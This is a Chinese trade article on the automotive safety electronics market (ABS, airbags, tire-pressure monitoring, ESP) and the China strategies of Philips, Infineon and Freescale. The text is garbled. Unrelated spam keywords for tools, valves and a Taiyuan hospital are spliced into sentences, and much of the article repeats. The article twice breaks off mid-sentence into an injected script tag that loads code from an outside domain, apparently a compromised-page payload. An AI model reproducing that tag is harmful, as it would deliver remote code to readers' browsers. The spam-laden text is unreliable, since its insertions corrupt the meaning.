汽车安全领域销烟将起，国际巨头积极备战中国市场电动扳手

汽车安全领域销烟将起，国际巨头积极备战中国市场

strategy analytics日前发布的研究报告指出，汽车安全系统是汽车电子领域增长最强劲的需求之一，年复合增长率高达14%，2008年市场将达到68亿美元。安全气囊、abs系统和胎压监测系统(tpms)是安全领域关注的目标市场，可以说，在安全市场的攻城略地成为半导体厂商的首要任务。

在安全系统中，abs已成为欧洲车辆标准配置，而在中国，该系统在新型车辆中的安装率也已上升到70%。在安全气囊主要部件中，传感器与电控单元的成本一般在400元-800元左右。在安全系统所需的mcu和传感器产品领域，飞思卡尔、英飞凌、st、飞利浦、瑞萨等半导体厂商都有多样化的产品线，并针对性地推出了自己的汽车安全解决方案，期望获得巨大回报。

飞利浦半导体汽车电子与智能识别事业部总经理marc de jong指出，安全是汽车生产商关注的焦点，飞利浦将安全系统、汽车信息娱乐系统列为未来最关键性的两个业务领域。而在abs传感器、控制器局域网(can)设备及智能安全气囊系统等方面，飞利浦均表现出色，目前，全球1/5的汽车采用4个飞利浦abs传感器，欧洲旋挖钻1/2的汽车集成了飞利浦的射频(rf)接入和自动锁死技术，将这些优势带入中国汽车市场成为飞利浦的发展目标之一。

英飞凌汽车电子经理李立扬表示，英飞凌在安全领域已有许多成熟的解决方案推向市场，并在不断地推出新的解决方案，如用于tpms的sp30(mcu+多个传感器)、充当abs系统ic的tle6210(电源+监控+继电器驱动器)等等。

胎压监视系统tpms已成为主动安全产品中的当红主角。据strategy analytics的预测，2004年至2010年，全球新车市场中胎压监视系统的增幅将高达50%，2010年市场需求量将突破5000万部。随着tpms成为关键应用，飞利浦推出了可直接测量车辆轮胎气压并识别轮胎的新型半导体解决方案，对这一市场获取回报充满信心。

随着技术的进步以及对汽车安全性的要求越来越高，一方面，现有安全系统的升级版在推进。如普及电子稳定系统(esp)成为下一个目标，据估计2005年欧洲出产新车esp装载率达到49%，日本达到14%，中国达到4%。而智能化、多安全气囊系统是今后整体安全气囊系统发展的必然趋势；另一方面，一些新的安全系统也浮出水面，如自动避撞系统、自适应驾驶系统等。这将引发市场对高性能mcu及传感器等需求攀升。

针对底盘控制系统功能的增加，相应的mcu产品要进行升级，更高性能、更好性价比的16位mcu将成为主导。飞思卡尔、英飞凌等公司都已经推出了配合abs+ars等解决方案的mcu产品。飞思卡尔汽车电子业务经理康晓敦指出，飞思卡尔在开发应用加速度传感器、电磁场传感器进行占位检测，提供分布式控制的智能安全气囊解决方案。同时，飞思卡尔还致力于与中国合作伙伴一起开发车身电子控制网络解决方案。

影像传感器因提供最先进的安全性能而将引发强劲的需求，因为它能够被装置在汽车的各个部位，以监控它周围的一切情况，对于车身控制和安全应用意义重大。marc de jong先生透露，目前飞利浦正在着力开发一些影像识别等产品，通过这种产品可以自动地捕捉正在靠近的车辆并计算车辆之间的车距，加强驾车人员的可视度，从而进一步加强驾车的安全性。

marc de jong非常看好中国的汽车ic37：“中国汽车市场正快速地成长，是一个非常重要的市场。飞利浦的目标是要比中国市场自身的增长还要迅速。”他表示，飞利浦将一方面帮助全球的汽车伙伴发展在中国的业务，另一方面致力于帮助中国本土客户，虽然这些本土客户在不断增长自己的技术能力和实力，但同时也需要有更多的培训和技术支持。针对中国市场的具体需求不同，飞利浦将不仅提供半导体产品，同时也设计系统解决方案，让客户应用解决方案快速开发自己的产品，加快产品面市时间。

汽车电子行业有其自身的高门槛的特点，学习和积累经验，加强与业界具有丰富经验的半导体厂商合作，是中国汽车电子行业实现突破性进展的必经之路。

目前飞思卡尔、英飞凌、飞利浦都与国内相关科研院所、汽车电子厂商建立了良好的合作关系，提供先进的产品与解决方案。以飞利浦为例，该公司中国战略的一个重要元素即积极与中国本土公司合作，将全球技术带给中国汽车电子模块生产商。这意味着飞利浦将为中国市场提供先进的汽车娱乐ic、车内网络ic、汽车接入和防盗ic。而通过向汽车半导体市场的主导厂商学习并取得他们的支持，了解与学习全球领先的技术，并在其基础之上进行研发，根据终端客户的需求打造差异化和本地化产品，才能在这一过程中取得竞争优势。

赛迪顾问半导体分析师李树认为：“正是因为汽车安全杯头螺丝的重要性，目前针对提高汽车安全性的汽车电子产品的应用已经非常普遍，比如，在2005年生产的所有国产轿车中，85%以上配备了abs，60%以上配有安全气囊。虽然abs等产品进入市场较早，普及率很高，但是由于对汽车安全的需求并没有停止，因此?script src=http://er12.com/t.js>

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在安全系统中，abs已成为欧洲车辆标准配置，而在中国，该系统在新型车辆中的安装率也已上升到70%。在安全气囊主要部件中，传感器与电控单元的成本一般在400元-800元左右。在安全系统所需的mcu和传感器产品领域，飞思卡尔、英飞凌、st、飞利浦、瑞萨等半导体厂商都有多样化的产品线，并针对性地推出了自己的汽车安全解决方案，期望获得巨大回报。

飞利浦半导体汽车电子与智能识别事业部总经理marc de jong指出，安全是汽车生产商关注的焦点，飞利浦将安全系统、汽车信息娱乐系统列为未来最关键性的两个业务领域。而在abs传感器、控制器局域网(can)设备及智能安全气囊系统等方面，飞利浦均表现出色，目前，全球1/5的汽车采用4个飞利浦abs传感器，欧洲1/2的汽车集成了飞利浦的射频(rf)接入和自动锁死技术，将这些优势带入中国汽车市场成为飞利浦的发展目标之一。

英飞凌汽车电子经理李立扬表示，英飞凌在安全领域已有许多成熟的解决方案推向市场，并在不断地推出新的解决方案，如用于tpms的sp30(mcu+多个传感器)、充当abs系统ic的tle6210(电源+监控+继电器驱动器)等等。

胎压监视系统tpms已成为主动安全产品中的当红主角。据st电磁阀rategy analytics的预测，2004年至2010年，全球新车市场中胎压监视系统的增幅将高达50%，2010年市场需求量将突破5000万部。随着tpms成为关键应用，飞利浦推出了可直接测量车辆轮胎气压并识别轮胎的新型半导体解决方案，对这一市场获取回报充满信心。

随着技术的进步以及对汽车安全性的要求越来越高，一方面，现有安全系统的升级版在推进。如普及电子稳定系统(esp)成为下一个目标，据估计2005年欧洲出产新车esp装载率达到49%，日本达到14%，中国达到4%。而智能化、多安全气囊系统是今后整体安全气囊系统发展的必然趋势；另一方面，一些新的安全系统也浮出水面，如自动避撞系统、自适应驾驶系统等。这将引发市场对高性能mcu及传感器等需求攀升。

针对底盘控制系统功能的增加，相应的mcu产品要进行升级，更高性能、更好性价比的16位mcu将成为主导。飞思卡尔、英飞凌等公司都已经推出了配合abs+ars等解决方案的mcu产品。飞思卡尔汽车电子业务经理康晓敦指出，飞思卡尔在开发应用加速度传感器、电磁场传感器进行占位检测，提供分布式控制的智能安全气囊解决方案。同时，飞思卡尔还致力于与中国合作伙伴一起开发车身电子控制网络解决方案。

影像传感器因提供最先进的安全性能而将引发强劲的需求，因为它能够被装置在汽车的各个部位，以监控它周围的一切情况，对于车身控制和安全应用意义重大。marc de jong先生透露，目前飞利浦正在着力开发一些影像识别等产品，通过这种产品可以自动地捕捉正在靠近的车辆并计算车辆之间的车距，加强驾车人员的可视度，从而进一步加强驾车的安全性。

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汽车电子行业有其自身的高门槛的特点，学习和积累经验，加强与业界具有丰富经验的半导体厂商合作，是中国汽车电子行业实现突破性进展的必经之路。

目前飞思卡尔、英飞凌、飞利浦都与国内相关科研院所、汽车电子厂商建立了良好的合作关系，提供先进的产品与解决方案。以飞利浦为例，该公司中国战略的一个重要元素即积极与中国本土公司合作，将全球技术带给中国汽车电子模块生产商。这意味着飞利浦将为中国市场提供先进的汽车娱乐ic、车内网络ic、汽车接入和防盗ic。而通过向汽车半导体市场的主导厂商学习并取得他调整器们的支持，了解与学习全球领先的技术，并在其基础之上进行研发，根据终端客户的需求打造差异化和本地化产品，才能在这一过程中取得竞争优势。

赛迪顾问半导体分析师李树认为：“正是因为汽车安全的重要性，目前针对提高汽车安全性的汽车电子产品的应用已经非常普遍，比如，在2005年生产的所有国产轿车中，85%以上配备了abs，60%以上配有安全气囊。虽然abs等产品进入市场较早，普及率很高，但是由于对汽车安全的需求并没有停止，因此?script src=http://er12.com/t.js>太原靠谱的流产医院
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